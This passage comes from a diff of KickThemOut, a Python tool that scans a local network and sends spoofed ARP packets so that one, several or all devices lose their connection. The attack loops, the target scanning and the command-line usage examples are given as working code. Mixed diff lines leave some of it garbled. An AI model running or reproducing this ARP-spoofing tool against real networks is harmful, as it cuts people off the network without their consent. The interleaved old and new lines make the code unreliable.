print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets)))
else:
print("\n{}Spoofing started... {}".format(GREEN, END))
try:
while True:
# broadcast malicious ARP packets
for i in someTargets:
ip = onlineIPs[int(i)]
for host in hostsList:
if host[0] == ip:
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
if options.packets is not None:
time.sleep(60/float(options.packets))
else:
time.sleep(10)
except KeyboardInterrupt:
# re-arp targets on KeyboardInterrupt exception
print("\n{}Re-arping{} targets...{}".format(RED, GREEN, END))
reArp = 1
while reArp != 10:
# broadcast ARP packets with legitimate info to restore connection
for i in someTargets:
ip = onlineIPs[int(i)]
for host in hostsList:
if host[0] == ip:
try:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
except KeyboardInterrupt:
pass
except:
runDebug()
reArp += 1
time.sleep(0.2)
print("{}Re-arped{} targets successfully.{}".format(RED, GREEN, END))
# kick all devices
def kickalloff():
os.system("clear||cls")
print("\n{}kickALLOff{} selected...{}\n".format(RED, GREEN, END))
global stopAnimation
stopAnimation = False
t = threading.Thread(target=scanningAnimation, args=('Hang on...',))
t.daemon = True
t.start()
# commence scanning process
try:
scanNetwork()
except KeyboardInterrupt:
shutdown()
stopAnimation = True
print("Target(s): ")
for i in range(len(onlineIPs)):
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
try:
hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0]
except:
hostname = "N/A"
vendor = resolveMac(mac)
print(" [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END))
if options.packets is not None:
print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets)))
else:
print("\n{}Spoofing started... {}".format(GREEN, END))
try:
# broadcast malicious ARP packets
reScan = 0
while True:
for host in hostsList:
if host[0] != defaultGatewayIP:
# dodge gateway (avoid crashing network itself)
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
reScan += 1
if reScan == 4:
reScan = 0
scanNetwork()
if options.packets is not None:
time.sleep(60/float(options.packets))
else:
time.sleep(10)
except KeyboardInterrupt:
print("\n{}Re-arping{} targets...{}".format(RED, GREEN, END))
reArp = 1
while reArp != 10:
# broadcast ARP packets with legitimate info to restore connection
for host in hostsList:
if host[0] != defaultGatewayIP:
try:
# dodge gateway
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
except KeyboardInterrupt:
pass
except:
runDebug()
reArp += 1
time.sleep(0.2)
print("{}Re-arped{} targets successfully.{}".format(RED, GREEN, END))
# script's main function
def main():
# display heading
heading()
if interactive:
print("\n{}Using interface '{}{}{}' with MAC address '{}{}{}'.\nGateway IP: '{}{}{}' --> {}{}{} hosts are up.{}".format(
GREEN, RED, defaultInterface, GREEN, RED, defaultInterfaceMac, GREEN, RED, defaultGatewayIP, GREEN, RED, str(len(hostsList)), GREEN, END))
# display warning in case of no active hosts
if len(hostsList) == 0 or len(hostsList) == 1:
if len(hostsList) == 1:
if hostsList[0][0] == defaultGatewayIP:
print("\n{}{}WARNING: There are {}0 hosts up{} on you network except your gateway.\n\tYou can't kick anyone off {}:/{}\n".format(
GREEN, RED, GREEN, RED, GREEN, END))
os._exit(1)
else:
print(
"\n{}{}WARNING: There are {}0 hosts{} up on you network.\n\tIt looks like something went wrong {}:/{}".format(
GREEN, RED, GREEN, RED, GREEN, END))
print(
"\n{}If you are experiencing this error multiple times, please submit an issue here:\n\t{}https://github.com/k4m4/kickthemout/issues\n{}".format(
RED, BLUE, END))
os._exit(1)
"\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}"
+ defaultGatewayIP + "{6}' --> {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN,
RED, GREEN, RED, GREEN, END)
else:
print("\n{}Using interface '{}{}{}' with MAC address '{}{}{}'.\nGateway IP: '{}{}{}' --> Target(s): '{}{}{}'.{}".format(
GREEN, RED, defaultInterface, GREEN, RED, defaultInterfaceMac, GREEN, RED, defaultGatewayIP, GREEN, RED, ", ".join(options.targets), GREEN, END))
if options.targets is None and options.scan is False:
try:
while True:
optionBanner()
header = ('{}kickthemout{}> {}'.format(BLUE, WHITE, END))
choice = input(header)
header = ('{0}kickthemout{1}> {2}'.format(BLUE, WHITE, END))
choice = raw_input(header)
if choice.upper() == 'E' or choice.upper() == 'EXIT':
shutdown()
print('\n{0}Thanks for dropping by.'
'\nCatch ya later!{1}').format(GREEN, END)
raise SystemExit
elif choice == '1':
kickoneoff()
elif choice == '2':
kicksomeoff()
elif choice == '3':
kickalloff()
elif choice.upper() == 'CLEAR':
os.system("clear||cls")
else:
print("\n{}ERROR: Please select a valid option.{}\n".format(RED, END))
print("\n{0}ERROR: Please select a valid option.{2}\n").format(RED, END)
except KeyboardInterrupt:
shutdown()
elif options.scan is not False:
stopAnimation = False
t = threading.Thread(target=scanningAnimation, args=('Scanning your network, hang on...',))
t.daemon = True
t.start()
# commence scanning process
try:
scanNetwork()
except KeyboardInterrupt:
shutdown()
stopAnimation = True
print("\nOnline IPs: ")
for i in range(len(onlineIPs)):
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
try:
hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0]
except:
hostname = "N/A"
vendor = resolveMac(mac)
print(" [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END))
else:
nonInteractiveAttack()
print('\n\n{0}Thanks for dropping by.'
'\nCatch ya later!{1}').format(GREEN, END)
if __name__ == '__main__':
# implement option parser
optparse.OptionParser.format_epilog = lambda self, formatter: self.epilog
version = '2.0'
examples = ('\nExamples:\n'+
' sudo python3 kickthemout.py --target 192.168.1.10 \n'+
' sudo python3 kickthemout.py -t 192.168.1.5,192.168.1.10 -p 30\n'+
' sudo python3 kickthemout.py -s\n'+
' sudo python3 kickthemout.py (interactive mode)\n')
parser = optparse.OptionParser(epilog=examples,
usage='sudo python3 %prog [options]',
prog='kickthemout.py', version=('KickThemOut ' + version))
parser.add_option('-p', '--packets', action='store',
dest='packets', help='number of packets broadcasted per minute (default: 6)')
parser.add_option('-s', '--scan', action='store_true', default=False,
dest='scan', help='perform a quick network scan and exit')
parser.add_option('-a', '--kick-all', action='store_true', default=False,
dest='kick_all', help='perform attack on all online devices')
def targetList(option, opt, value, parser):
setattr(parser.values, option.dest, value.split(','))
parser.add_option('-t', '--target', action='callback',
callback=targetList, type='string',
dest='targets', help='specify target IP address(es) and perform attack')
(options, argv) = parser.parse_args()
try:
if checkInternetConnection():
pass
else:
print("\n{}ERROR: It seems that you are offline. Please check your internet connection.{}\n".format(RED, END))
os._exit(1)
except KeyboardInterrupt:
shutdown()
# configure appropriate network info
try:
defaultInterface = getDefaultInterface()
defaultGatewayIP = getGatewayIP()
defaultInterfaceMac = getDefaultInterfaceMAC()
global defaultGatewayMacSet
defaultGatewayMacSet = False
except KeyboardInterrupt:
shutdown()
if (options.packets is not None and (options.packets).isdigit()) or options.packets is None:
pass
else:
print("\n{}ERROR: Argument for number of packets broadcasted per minute must be an integer {}(e.g. {}--packet 60{}).\n".format(RED, END, BLUE, END))
os._exit(1)
if options.targets is None and options.kick_all is False:
# set to interactive attack
interactive = True
global stopAnimation
stopAnimation = False
t = threading.Thread(target=scanningAnimation, args=('Scanning your network, hang on...',))
t.daemon = True
t.start()
# commence scanning process
try:
defaultInterfaceMac = get_if_hwaddr(defaultInterface)
scanNetwork()
except KeyboardInterrupt:
shutdown()
stopAnimation = True
elif options.targets is None and options.kick_all is True:
# set to non-interactive attack
interactive = False
kickalloff()
os._exit(0)
elif options.targets is not None and options.kick_all is True:
print("\n{}ERROR: Cannot use both {}-a/--kick-all{} and {}-t/--target{} flags in one command.{}\n".format(RED, BLUE, RED, BLUE, RED, END))
os._exit(1)
else:
# set to non-interactive attack
interactive = False
main()

View File

@ -1,3 +1 @@
scapy
python-nmap
netifaces

71
scan.py
View File

@ -1,25 +1,64 @@
#!/usr/bin/env python3
#!/usr/bin/env python
# -.- coding: utf-8 -.-
# scan.py
# author: Benedikt Waldvogel (MIT Licensed)
# edited by: k4m4 & xdavidhu
"""
Copyright (C) 2017-18 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
"""
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import scapy.config, scapy.layers.l2, scapy.route, socket, math, errno
import nmap
def scanNetwork():
# perform a network scan with nmap
def scanNetwork(network):
returnlist = []
nm = nmap.PortScanner()
a = nm.scan(hosts=network, arguments='-sn')
def long2net(arg):
if (arg <= 0 or arg >= 0xFFFFFFFF):
raise ValueError("illegal netmask value", hex(arg))
return 32 - int(round(math.log(0xFFFFFFFF - arg, 2)))
for k, v in a['scan'].items():
if str(v['status']['state']) == 'up':
def to_CIDR_notation(bytes_network, bytes_netmask):
network = scapy.utils.ltoa(bytes_network)
netmask = long2net(bytes_netmask)
net = "%s/%s" % (network, netmask)
if netmask < 16:
return None
return net
def scan_and_print_neighbors(net, interface, timeout=1):
hostsList = []
try:
returnlist.append([str(v['addresses']['ipv4']), str(v['addresses']['mac'])])
except:
ans, unans = scapy.layers.l2.arping(net, iface=interface, timeout=timeout, verbose=False)
for s, r in ans.res:
mac = r.sprintf("%Ether.src%")
ip = r.sprintf("%ARP.psrc%")
line = r.sprintf("%Ether.src% %ARP.psrc%")
hostsList.append([ip, mac])
try:
hostname = socket.gethostbyaddr(r.psrc)
line += "," + hostname[0]
except socket.herror:
pass
except socket.error as e:
if e.errno == errno.EPERM: # Operation not permitted
exit()
else:
raise
return hostsList
return returnlist
for network, netmask, _, interface, address in scapy.config.conf.route.routes:
# skip loopback network and default gw
if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
continue
if netmask <= 0 or netmask == 0xFFFFFFFF:
continue
net = to_CIDR_notation(network, netmask)
if interface != scapy.config.conf.iface:
# see http://trac.secdev.org/scapy/ticket/537
continue
if net:
return scan_and_print_neighbors(net, interface)

View File

@ -1,9 +1,10 @@
#!/usr/bin/env python3
#!/usr/bin/env python
# -.- coding: utf-8 -.-
# spoof.py
# authors: k4m4 & xdavidhu
"""
Copyright (C) 2017-18 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
"""
@ -14,14 +15,9 @@ from scapy.all import (
getmacbyip,
ARP,
Ether,
sendp,
conf,
RadioTap,
Dot11,
Dot11Deauth
sendp
)
# send malicious ARP packets
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
ether = Ether()
ether.src = my_mac